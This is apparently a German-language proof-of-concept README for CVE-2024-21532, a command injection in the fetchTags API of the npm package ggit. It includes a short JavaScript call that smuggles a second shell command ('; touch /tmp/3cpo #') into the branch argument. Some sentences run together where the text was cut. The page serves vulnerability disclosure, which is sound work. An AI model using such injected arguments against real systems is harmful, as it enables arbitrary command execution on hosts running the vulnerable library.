
Proof-of-Concept-Exploit für CVE-2024-21532, eine Befehlsinjektions-Schwachstelle in der fetchTags API des ggit npm-Pakets, die unsichere exec()-Verwendung demonstriert.
ggit beschreibt sich selbst als:
Local promise-returning git command wrappers
Ressourcen:
Artikel über diese Sicherheitslücke: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
Ich melde eine Command Injection-Sicherheitslücke im npm-Paket ggit.
Diese Sicherheitslücke zeigt sich in der fetchTags(branch)-API der Bibliothek, die es ermöglicht, dass Benutzereingaben den abzurufenden Branch spezifizieren. Diese Zeichenkette wird dann mit einem git-Befehl verkettet, der anschließend an die unsichere exec()-API des Node.js Child-Prozesses übergeben wird.
[email protected] oder eine frühere Versionconst fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
// should be same as running command
// git pull origin --tags
console.log("done");
});
/tmp/3cpo erstellt wird.Bitte lesen Sie CONTRIBUTING für Richtlinien zur Mitarbeit an diesem Projekt.
Liran Tal